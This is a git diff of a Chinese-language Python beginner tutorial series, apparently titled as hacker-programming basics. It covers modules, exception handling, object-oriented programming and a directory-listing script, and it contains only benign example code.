+在上面的代码中,我们利用import语句导入sys模块。sys模块包含了与Python解释器和它的环境有关的函数。当Python执行import sys语句的时候,它在sys.path变量中所列目录中寻找sys.py模块。如果找到了这个文件,这个模块的主块中的语句将被运行,然后这个模块将能够被你使用。注意,初始化过程仅在我们第一次输入模块的时候进行。 +> sys.argv变量是一个字符串的列表,包含了命令行参数的列表。 + +>sys.path包含输入模块的目录名列表。我们可以观察到sys.path的第一个字符串是空的——这个空的字符串表示当前目录也是sys.path的一部分,这与PYTHONPATH环境变量是相同的。这意味着你可以直接输入位于当前目录的模块。否则,你得把你的模块放在sys.path所列的目录之一。 + +我们从终端使用python来运行,并输入参数“测试参数”,结果如下图所示: + +![](img/1.png) + +## 1.6.2 FROM..IMPORT语句 + +上面的示例中我们通过sys.argv的方式来获取argv变量中的内容,那如果我们想直接调用argv,就可以获取变量内容或进行方法调用,该如何做呢?可以使用 from sys import argv 语句。还有一种更简单的方法 from sys import * 导入sys模块中所有可用的变量或方法。 + +一般说来,应该避免使用from..import而使用import语句,因为这样可以使你的程序更加易读,也可以避免名称的冲突。 + +## 1.6.3 __NAME__ + +每个模块都有一个名称,在模块中可以通过语句来找出模块的名称。前面说过,当一个模块被第一次导入的时候,这个模块的主块将被运行。假如我们只想在程序本身被使用的时候运行主块,而在它被别的模块输入的时候不运行主块,我们该怎么做呢?这可以通过模块的__name__属性完成。测试如下代码: + +```Python +if __name__ == '__main__': + print('当前代码被单独运行') +else: + print('当前代码被导入运行') +``` +每个Python模块都有它的__name__,如果它是'__main__',这说明这个模块被用户单独运行,我们可以进行相应的恰当操作。运行结果如下: + +``` +当前代码被单独运行 +``` + +## 1.6.4 创建模块 + +创建你自己的模块是十分简单的,你一直在这样做!每个以.py结尾的文件都是一个模块。下面我们先创建一个myModule.py的文件,内容如下: + +```Python +def sayhi(): + print('Hi, this is mymodule speaking.') +version = '0.1' +``` +从上面的代码可以看到,它与我们普通的Python程序相比并没有什么特别之处。我们接下来将看看如何在我们别的Python程序中使用这个模块。这个模块应该被放置在我们导入它的程序的同一个目录中,或者在sys.path所列目录之一。测试代码如下: +```Python +import myModule + +myModule.sayhi() +print('Version', myModule.version) +``` + +运行结果如下: +``` +Hi, this is newmodule speaking. +Version 0.1 +``` + +## 1.6.5 DIR()函数 + +我们可以使用内建的dir函数来列出模块定义的标识符。标识符有函数、类和变量。当为dir()提供一个模块名的时候,它返回模块定义的名称列表。如果不提供参数,它返回当前模块中定义的名称列表。先看下面的代码: + +```Python +print(dir(sys)) +a=5 +print(dir()) +del a +print(dir()) +``` + +首先,我们来看一下在导入的sys模块上使用dir。我们看到它包含一个庞大的属性列表。如下图: + +![](img/2.png) + +接下来,我们不给dir函数传递参数,默认地,它返回当前模块的属性列表。 +为了观察dir的作用,我们定义一个新的变量a并且给它赋一个值,然后检验dir,我们观察到在列表中增加了以上相同的值。我们使用del语句删除当前模块中的变量/属性,这个变化再一次反映在dir的输出中。对比如下: + +``` +['__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'a', 'i', 'myModule', 'sys'] +['__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'i', 'myModule', 'sys'] +``` + +## 1.6.6 小结 + +模块的用处在于它能为你在别的程序中重用它提供的服务和功能。Python附带的标准库就是这样一组模块的例子。我们已经学习了如何使用这些模块以及如何创造我们自己的模块。 + +本节的练习题如下: + +1. 实现一个模块,提供基本的加、减、乘、除方法,在另一个文件中引入该模块,调用方法进行测试。 + +下一节我们学习异常处理。 + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + + diff --git "a/1.6 \346\250\241\345\235\227/code/__pycache__/myModule.cpython-37.pyc" "b/1.6 \346\250\241\345\235\227/code/__pycache__/myModule.cpython-37.pyc" index 02a41c2..507954a 100644 Binary files "a/1.6 \346\250\241\345\235\227/code/__pycache__/myModule.cpython-37.pyc" and "b/1.6 \346\250\241\345\235\227/code/__pycache__/myModule.cpython-37.pyc" differ diff --git "a/1.6 \346\250\241\345\235\227/code/__pycache__/test.cpython-37.pyc" "b/1.6 \346\250\241\345\235\227/code/__pycache__/test.cpython-37.pyc" new file mode 100644 index 0000000..6c288cc Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/code/__pycache__/test.cpython-37.pyc" differ diff --git "a/1.6 \346\250\241\345\235\227/code/module.py" "b/1.6 \346\250\241\345\235\227/code/module.py" index c93cf9d..b30c7b4 100644 --- "a/1.6 \346\250\241\345\235\227/code/module.py" +++ "b/1.6 \346\250\241\345\235\227/code/module.py" @@ -1,26 +1,25 @@ # -*- coding: UTF-8 -*- - + +import myModule import sys - + print('The command line arguments are:') for i in sys.argv: print(i) - + print('\n\nThe PYTHONPATH is', sys.path, '\n') - + if __name__ == '__main__': print('当前代码被单独运行') else: print('当前代码被导入运行') - -import myModule - myModule.sayhi() print('Version', myModule.version) +myModule.version = 0.5 + +import test + +print(test.c1.name) + -print(dir(sys)) -a=5 -print(dir()) -del a -print(dir()) \ No newline at end of file diff --git "a/1.6 \346\250\241\345\235\227/code/myModule.py" "b/1.6 \346\250\241\345\235\227/code/myModule.py" index f8f2044..b626361 100644 --- "a/1.6 \346\250\241\345\235\227/code/myModule.py" +++ "b/1.6 \346\250\241\345\235\227/code/myModule.py" @@ -1,4 +1,33 @@ # -*- coding: UTF-8 -*- def sayhi(): print('Hi, this is newmodule speaking.') + + version = '0.1' + + +class Singleton(object): + + __instance = None + + def __new__(cls, *args, **kw): + if not cls.__instance: + cls.__instance = super().__new__(cls) + return cls.__instance + + +class Person(Singleton): + + def __init__(self, name): + self.name = name + + +# p1 = Person('xuanhun') +# print(p1.name) +# p2 = Person('sllsl') +# print(p2.name) +# print(p1.name) + + +class CC: + name = 'cc' diff --git "a/1.6 \346\250\241\345\235\227/code/test.py" "b/1.6 \346\250\241\345\235\227/code/test.py" new file mode 100644 index 0000000..0df2d71 --- /dev/null +++ "b/1.6 \346\250\241\345\235\227/code/test.py" @@ -0,0 +1,7 @@ +import myModule +myModule.sayhi() +print('from test',myModule.version) + +c1 = myModule.CC() +print(c1.name) + diff --git "a/1.6 \346\250\241\345\235\227/img/0.jpg" "b/1.6 \346\250\241\345\235\227/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/img/0.jpg" differ diff --git "a/1.6 \346\250\241\345\235\227/img/1.png" "b/1.6 \346\250\241\345\235\227/img/1.png" new file mode 100644 index 0000000..1821983 Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/img/1.png" differ diff --git "a/1.6 \346\250\241\345\235\227/img/2.png" "b/1.6 \346\250\241\345\235\227/img/2.png" new file mode 100644 index 0000000..8bd6ed0 Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/img/2.png" differ diff --git a/1.6.pdf b/1.6.pdf new file mode 100644 index 0000000..616745a Binary files /dev/null and b/1.6.pdf differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206 2/code/exception.py" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206 2/code/exception.py" deleted file mode 100644 index 6cda3d3..0000000 --- "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206 2/code/exception.py" +++ /dev/null @@ -1,77 +0,0 @@ -# -*- coding: UTF-8 -*- - - -#Print('hello') - - -# while True: -# try: -# n = input("请输入一个整数: ") -# n = int(n) -# break -# except ValueError as e: -# print("无效数字,再次输入 ...",e) -# print("输入成功!") - - -# import sys - -# try: -# f = open('integers.txt') -# s = f.readline() -# i = int(s.strip()) -# except IOError as e: -# print("I/O error",e) -# except ValueError: -# print("No valid integer in line.") -# except: -# print("Unexpected error:", sys.exc_info()[0]) -# raise - - -# try: -# f = open('integers.txt') -# s = f.readline() -# i = int(s.strip()) -# except (IOError, ValueError): -# print("An I/O error or a ValueError occurred") -# except: -# print("An unexpected error occurred") -# raise - - -# class ShortInputException(Exception): -# '''A user-defined exception class.''' -# def __init__(self, length, atleast): -# Exception.__init__(self) -# self.length = length -# self.atleast = atleast - -# try: -# s = input('Enter something --> ') -# if len(s) < 3: -# raise ShortInputException(len(s), 3) -# # Other work can continue as usual here -# except EOFError: -# print('\nWhy did you do an EOF on me?') -# except ShortInputException as x: -# print('ShortInputException: The input was of length %d, \ -# was expecting at least %d' % (x.length, x.atleast)) -# else: -# print('No exception was raised.') - - -def test1(): - try: - print('to do stuff') - raise Exception('hehe') - except Exception: - print('process except') - print('to return in except') - return 'except' - finally: - print('to return in finally') - return 'finally' - -test1Return = test1() -print('test1Return : ' + test1Return) \ No newline at end of file diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" new file mode 100644 index 0000000..9152c2a Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/Readme.md" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/Readme.md" new file mode 100644 index 0000000..2a4608d --- /dev/null +++ "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/Readme.md" @@ -0,0 +1,156 @@ +# 1.7 异常处理 + +异常是个很宽泛的概念,如果程序没有按预想的执行,都可以说是异常了。遇到一些特殊情况没处理会引发异常,比如读文件的时候文件不存在,网络连接超时。程序本身的错误也可以算作异常,比如把字符串当整数来处理,拼写错误。 + +不论是系统还是框架,都会对基本异常进行分类,比如IO异常,内存溢出等等。很多时候,针对特有的业务,我们也可以自定异常。 + +下面我们先看一个引发异常的例子: + +``` +Print('hello') +``` + +这个例子很简单,我们将print的首字母大写。这会引发一个错误: + +![](img/1.png) + +我们可以观察到有一个NameError被引发,并且检测到的错误位置也被打印了出来。捕获错误,打印错误信息,这本身就是一种异常处理。那么我们如何在代码中处理异常呢? + +新建exception.py文件用于测试。 + +## 2.7.1 异常捕获 + +我们把所有可能引发错误的语句放在try块中,然后在except从句中处理所有的错误和异常。except从句可以专门处理单一的错误或异常。如果没有给出错误或异常的名称,它会处理所有的错误和异常。对于每个try从句,至少都有一个相关联的except从句。 + +添加如下测试代码: + +```Python +while True: + try: + n = input("请输入一个整数: ") + n = int(n) + break + except ValueError as e: + print("无效数字,再次输入 ...",e) +print("输入成功!") +``` +上面的代码,我们通过“while True:”来构建一个死循环,循环内部通过input来接收用户的输入,通过int(n)来将用户输入转换为整数,如果输入的不是一个整数,这会引发ValueError异常,利用“except ValueError as e”来捕获这个异常。如果输入是整数,直接调用“break”,会跳出while循环,执行最后的print,程序退出。运行结果如下: + +![](img/2.png) + +## 1.7.2 多异常捕获 + +上面的代码演示了基本的异常捕获,但是同一段代码,可能会引发多种异常,如何来处理这种情况呢?看下面的例子: + +```Python +import sys + +try: + f = open('integers.txt') + s = f.readline() + i = int(s.strip()) +except IOError as e: + print("I/O error",e) +except ValueError: + print("No valid integer in line.") +except: + print("Unexpected error:", sys.exc_info()[0]) + raise +``` + +上面的代码中,我们打开一个文件,读取一行内容,然后将读取到的内容转换为整数,这可能会引发IOError或者ValueError,我们通过两个except来接收这两种异常情况。最后我们使用一个不带参数的except语句来接收其他异常。多个指定类型的异常,可以可以通过小括号的形式组合在一个except语句里。例如: + +```Python +try: + f = open('integers.txt') + s = f.readline() + i = int(s.strip()) +except (IOError, ValueError): + print("An I/O error or a ValueError occurred") +except: + print("An unexpected error occurred") + raise +``` + +## 1.7.3 制造异常 + +很多时候,我们可预知某种错误的时候,希望在调用方来处理异常,可以使用已有异常类型或者自定义异常,通过raise 抛出去。例如: + +``` +raise SyntaxError("Sorry, my fault!") +``` + +下面的代码演示了自定异常: + +```Python +class ShortInputException(Exception): + '''A user-defined exception class.''' + def __init__(self, length, atleast): + Exception.__init__(self) + self.length = length + self.atleast = atleast + +try: + s = raw_input('Enter something --> ') + if len(s) < 3: + raise ShortInputException(len(s), 3) + # Other work can continue as usual here +except EOFError: + print('\nWhy did you do an EOF on me?') +except ShortInputException as x: + print('ShortInputException: The input was of length %d, \ + was expecting at least %d' % (x.length, x.atleast)) +else: + print('No exception was raised.') +``` + +这段代码中我们首先自定义了一个ShortInputException类,它继承自Exception类,构造函数接受两个参数输入字符串的长度和最小长度。接下来代码中,我们获取用户输入,判断长度是否小于3,如果小于3触发ShortInputException。我们从终端启动这个脚本,运行结果如下: + +![](img/3.png) + +1.7.4 TRY..FINALLY + +当我们需要不管是否有异常,都要执行某段代码的时候,就需要finally出场了。看下面的示例: +```Python +def test1(): + try: + print('to do stuff') + raise Exception('hehe') + except Exception: + print('process except') + print('to return in except') + return 'except' + finally: + print('to return in finally') + return 'finally' + +test1Return = test1() +print('test1Return : ' + test1Return) +``` + +在 try 中 raise一个异常,就立刻转入 except 中执行,在except 中遇到 return 时,就强制转到 finally 中执行, 在 finally 中遇到 return 时就返回。运行结果如下: + +![](img/3.png) + +1.7.5 小结 + +本节我们学习了Python中基本的异常处理,和自定义异常的方法。 + +本节练习题如下: + +1. 写一个函数,用来接收用户输入的字符串,判断是否是回文。如果是输出“yes”,如果不是,抛出一个异常,捕获该异常,打印结果,提示用户继续输入。 + +下一节我们学习面向对象编程。 + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + + + \ No newline at end of file diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/0.jpg" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/0.jpg" differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/00.jpeg" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/00.jpeg" differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/1.png" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/1.png" new file mode 100644 index 0000000..e6bdca7 Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/1.png" differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/2.png" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/2.png" new file mode 100644 index 0000000..fee3b38 Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/2.png" differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/3.png" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/3.png" new file mode 100644 index 0000000..3ab779d Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/3.png" differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/4.png" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/4.png" new file mode 100644 index 0000000..f7e2dbf Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/img/4.png" differ diff --git a/1.7.pdf b/1.7.pdf new file mode 100644 index 0000000..9152c2a Binary files /dev/null and b/1.7.pdf differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" new file mode 100644 index 0000000..a49221c Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/0.jpg" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/00.jpeg" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" new file mode 100644 index 0000000..2c7a594 Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/readme.md" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..3ec5325 --- /dev/null +++ "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/readme.md" @@ -0,0 +1,216 @@ +# 1.8 面向对象编程 + +我个人认为,计算机语言的发展,有两个方向,一个是从低到高的发展过程,在这个过程中,语言的思考和解决问题的方式是面向硬件的。硬件本质上处理的是信号,在此基础上,我们给硬件赋予了一定的“逻辑思维”能力,为了方便硬件帮我们做事,抽象出了指令的概念,进而出现了汇编语言,然后有了Pascal和C这样的标准的结构化语言。语言一路向上发展,都是根植于指令的,根植于指令就意味着流程和数据代表了一切,数据的变化成为我们表达和抽象这个世界的根本。不可否认,宇宙间的一切,都是在不停的变化中,然而命运有数,变化有法,越是着眼于变化,我们越难逃脱宿命。 + +在冯诺依曼的体系成为权威之前或者之后这些年中,计算机科学思考都衍生于对数学的思考。数学家认为数学语言能完美的描述这个世界,基于数学的编程语言一出来就是贵族,然而纯粹数学语言是没法用的,因为我们的机器还太低级,于是另一个编程语言的发展方向,是从数学语言向机器语言的自顶向下的发展。这其中纯粹的函数式语言是这方面的代表,比如lisp,微软的F#则是“混血”的代表。 + +从机器的角度理解世界,还是纯数学的方式理解世界,都不能代表人的视角和思维方式。在二者相向发展中,有了很多交汇。计算机当然离理解人的思维方式还差的很远,除非把人变成计算单元。科学家们在这个方向上努力良久,在编程语言领域“面向对象”的思想和方法被广泛接受。事物是不断变化的,人类在变化中寻找相对静止的时空来思考世界,来描述世界,文字、绘画都是语言,都需要在静止中呈现。生命尊重并表现自我,认同个体,于是世间有了物的概念。在静止中,如果还只是思考数据,那么就是混沌,观察个体才有意义,才有血肉。世间万物,物就是对象。 + +所谓面向对象,就是把你眼中能认为或抽象出的独立事务描述清楚,首先它是个整体,然后我们再肢解它,最后在把它重新放到变化中观察行为。抽象的越彻底,我们越能发现很多事务的共性,于是有了分类。在变化中,物与物必然会产出影响,于是有了关系。 + +视角发生了变化,描述事物和行为的方式必然有了变化,产生了新的表达方法,新的技巧,同时也有了新的问题和挑战,当然会产生新的解决问题的方法,这些就是面向对象的基本方法,设计模式,架构经验,等等。 + +下面我们进入Python的面向对象世界。 + +新建oo.py文件,用于测试和练习。 + +## 1.8.1 类与对象 + +在python中,我们使用class关键字来定义一类事物,类是一个抽象描述,并不是真正的存在,需要把它初始化才会产生一个真正的事物,我们称之为对象。在编程过程中,拥有行为和数据的是对象,而不是类。 + +下面我们声明一个简单的类: + +```Python +# -*- coding: UTF-8 -*- + +class Person: + pass # An empty block + +p = Person() +print p +``` +我们使用class语句后跟类名,创建了一个新的类。这后面跟着一个缩进的语句块形成类体。在这个例子中,我们使用了一个空白块,它由pass语句表示。接下来,我们使用类名后跟一对圆括号来创建一个对象/实例。为了验证,我们简单地打印了这个变量的类型。它告诉我们我们已经在__main__模块中有了一个Person类的实例。结果如下: + +``` +<__main__.Person object at 0x10a13f630> +``` + +你可能已经注意到存储对象的计算机内存地址也打印了出来。这个地址在你的计算机上会是另外一个值,因为Python可以在任何空位存储对象。 + +## 1.8.2 对象的方法 + +方法代表现实世界中的行为,简单示例如下: + +```Python +class Person1: + def sayHi(self): + print('Hello, how are you?') + +p1 = Person1() +p1.sayHi() +``` +这里我们需要注意sayHi方法没有任何参数,但仍然在函数定义时有self,self代表对象本身,等价于C++中的self指针和Java、C#中的this引用。之后,我们通过对象名加点的方式来调用对象的方法。运行结果如下: + +``` +Hello, how are you? +``` + +## 1.8.3 构造函数 + +我们在使用类来构造一个对象的时候,通常在构造之初需要把对象本身的关键属性进行初始化。比如初始化一个人,如果我们认为年龄和名字是关键属性的话,我们在实例化这个人的时候,需要把相关属性的值传进来。上面我们知道初始化对象的时候是类名加括号的方式,实际上这个括号调用了一个内置的方法,我们称之为构造函数,正是该函数返回了被初始化的对象本身。 + +python的构造函数名为__init__,我们可以自定义传入参数的类型和个数。示例如下: + +```Python +class Person2: + def __init__(self, name): + self.name = name + def sayHi(self): + print('Hello, my name is', self.name) + +p2 = Person2('玄魂') +p2.sayHi() +``` + +这里,我们把__init__方法定义为取一个参数name(以及普通的参数self)。在这个__init__里,我们只是创建一个新的字段 name。最重要的是,我们没有专门调用__init__方法,只是在创建一个类的新实例的时候,把参数包括在圆括号内跟在类名后面,从而传递给__init__方法。 + +现在,我们能够在我们的方法中使用self.name变量,这在sayHi方法中得到了验证,运行结果如下: + +``` +Hello, my name is 玄魂 +``` +## 1.8.4 变量 + +变量代表属性和数据。在python中变量有两种,类变量和对象变量。类变量是全局的,对每个对象都共享,对象的变量是实例化的,每个对象之间互不影响。下面我们通过一段代码来对比: + +```Python +class Person3: + '''Represents a person.''' + population = 0 + + def __init__(self, name): + '''Initializes the person's data.''' + self.name = name + print( '(Initializing %s)' % self.name) + + # When this person is created, he/she + # adds to the population + Person3.population += 1 + + def sayHi(self): + '''Greeting by the person. + + Really, that's all it does.''' + print('Hi, my name is %s.' % self.name) + + def howMany(self): + '''Prints the current population.''' + if Person3.population == 1: + print('I am the only person here.') + else: + print('We have %d persons here.' % Person3.population) + +xh = Person3('玄魂') +xh.sayHi() +xh.howMany() + +kl = Person3('考拉') +kl.sayHi() +kl.howMany() + +xh.sayHi() +xh.howMany() +``` + +这个例子略微有点长,但是它有助于说明类与对象的变量的本质。这里,population属于Person类,因此是一个类的变量。name变量属于对象(它使用self赋值)因此是对象的变量。 + +观察可以发现__init__方法用一个名字来初始化Person实例。在这个方法中,我们让population增加1,这是因为我们增加了一个人。同样可以发现,self.name的值根据每个对象指定,这表明了它作为对象的变量的本质。 + +在这个程序中,我们还看到docstring对于类和方法同样有用。我们可以在运行时使用Person.__doc__和Person.sayHi.__doc__来分别访问类与方法的文档字符串。 + + +这里需要注意的是: + + 1. Python中所有的类成员(包括数据成员)默认都是公有的。 + 2. 如果你使用的数据成员名称以 双下划线前缀 比如__privatevar,Python的名称管理体系会有效地把它作为私有变量。 + 3. 这样就有一个惯例,如果某个变量只想在类或对象中使用,就应该以单下划线前缀。而其他的名称都将作为公共的,可以被其他类/对象使用。记住这只是一个惯例,并不是Python所要求的(与双下划线前缀不同)。 + +## 1.8.5 继承 + +继承这个概念,经常以父与子的关系来被阐述,我认为这阐述对初学者来说是一种误导。在人类社会中,父与子继承的是什么?是财产,实际是赠予。面向对象的继承,实际是不是从现实世界中来,而是为了解决面向对象编程的问题二产生的,要解决的是代码复用的问题。比如人类有许多共性,有鼻子,有眼睛。但是人类也是分亚种的,从肤色上划分人种,地理上划分人群。那么在定义黄种人和黑种人的时候,不可避免的要重新定义很多属性和行为,于是有了继承的概念,把公共的内容放到Person类里面,然后AsiaPerson 继承Person类,它自然就有了Person类定义的内容,这种思想,其实换个词可能更好理解——克隆。概念就不纠结了,理解就好,下面看代码: + +```Python +class SchoolMember: + '''Represents any school member.''' + def __init__(self, name, age): + self.name = name + self.age = age + print('(Initialized SchoolMember: %s)' % self.name) + + def tell(self): + '''Tell my details.''' + print('Name:"%s" Age:"%s"' % (self.name, self.age)) + +class Teacher(SchoolMember): + '''Represents a teacher.''' + def __init__(self, name, age, salary): + SchoolMember.__init__(self, name, age) + self.salary = salary + print('(Initialized Teacher: %s)' % self.name) + + def tell(self): + SchoolMember.tell(self) + print('Salary: "%d"' % self.salary) + +class Student(SchoolMember): + '''Represents a student.''' + def __init__(self, name, age, marks): + SchoolMember.__init__(self, name, age) + self.marks = marks + print('(Initialized Student: %s)' % self.name) + + def tell(self): + SchoolMember.tell(self) + print('Marks: "%d"' % self.marks) + +t = Teacher('Mrs. Shrividya', 40, 30000) +s = Student('xh', 22, 75) + +print() # prints a blank line + +members = [t, s] +for member in members: + member.tell() # works for both Teachers and Students + +``` +为了使用继承,我们把基类的名称作为一个元组跟在定义类时的类名称之后。然后,我们注意到基类的__init__方法专门使用self变量调用,这样我们就可以初始化对象的基类部分。这一点十分重要——Python不会自动调用基类的构造函数。调用基类的构造函数需要使用基类名进行调用,而且传入子类的self。 + +注意,在我们使用SchoolMember类的tell方法的时候,我们把Teacher和Student的实例仅仅作为SchoolMember的实例。 + +另外,在这个例子中,我们调用了子类型的tell方法,而不是SchoolMember类的tell方法。可以这样来理解,Python总是首先查找对应类型的方法,在这个例子中就是如此。如果它不能在导出类中找到对应的方法,它才开始到基本类中逐个查找。 + +python支持多继承,可以同时继承多个基类。 + +## 1.8.6 小结 + +Python是一个高度面向对象的语言,我们只是过了一些基本概念,万物皆对象的理念,也让高级的python编程变得更加有趣。 + +本节练习题如下: + +1. 创建一个动物基类,子类老虎,公鸡继承该类。实现基本属性的初始化,包括种类,颜色等。 实现基本的奔跑、吃饭等方法。 + + +下一节开始我们正式进入Python系统级编程实践。 + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + + + \ No newline at end of file diff --git a/1.8.pdf b/1.8.pdf new file mode 100644 index 0000000..a49221c Binary files /dev/null and b/1.8.pdf differ diff --git "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/img/00.jpeg" "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/img/00.jpeg" differ diff --git "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/Python\347\274\226\347\250\213\344\271\213\347\246\205.md" "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" similarity index 95% rename from "2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/Python\347\274\226\347\250\213\344\271\213\347\246\205.md" rename to "2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" index 768f22c..1988266 100644 --- "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/Python\347\274\226\347\250\213\344\271\213\347\246\205.md" +++ "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" @@ -4,9 +4,9 @@ ## 2.0.1 编程之禅 -打开终端输入Python,然后输入imprt,一首诗便出现在我们面前了。 +打开终端输入Python,然后输入import this,一首诗便出现在我们面前了。 + -![](img/1.png) 简单翻译如下: ```English @@ -105,6 +105,9 @@ for char in stringStest[1:]: 2.1节我们来学习文件和目录操作。 + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) 欢迎到关注微信订阅号,交流学习中的问题和心得 diff --git a/2.0.pdf b/2.0.pdf new file mode 100644 index 0000000..2c7a594 Binary files /dev/null and b/2.0.pdf differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" new file mode 100644 index 0000000..d83442b Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/directoryTrave.py" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/directoryTrave.py" new file mode 100644 index 0000000..d3a4aba --- /dev/null +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/directoryTrave.py" @@ -0,0 +1,139 @@ +# -*- coding: UTF-8 -*- + + +import tempfile +import stat +import sys +import os + +os.chdir('/Users/xuanhun/玄魂工作室/python黑客编程/python黑客编程入门版/2.1 文件和目录基本操作/code/sampleDirectory') + + +def listCurrentDirectory(path): + files = os.listdir(path) + for name in files: + print(name) + + +def listDirectoryDetail(path): + files = os.listdir(path) + for name in files: + pathName = os.path.join(path, name) + print("%s文件或者目录信息:....." % pathName) + print(os.stat(pathName).st_mode) # 权限模式 + print(os.stat(pathName).st_ino) # inode number + print(os.stat(pathName).st_dev) # device + print(os.stat(pathName).st_nlink) # number of hard links + print(os.stat(pathName).st_uid) # 所有用户的user id + print(os.stat(pathName).st_gid) # 所有用户的group id + print(os.stat(pathName).st_size) # 文件的大小,以位为单位 + print(os.stat(pathName).st_atime) # 文件最后访问时间 + print(os.stat(pathName).st_mtime) # 文件最后修改时间 + print(os.stat(pathName).st_ctime) # 文件创建时间 + + +def listCurrentDirectoryMode(path): + files = os.listdir(path) + for name in files: + pathName = os.path.join(path, name) + mode = os.stat(pathName).st_mode 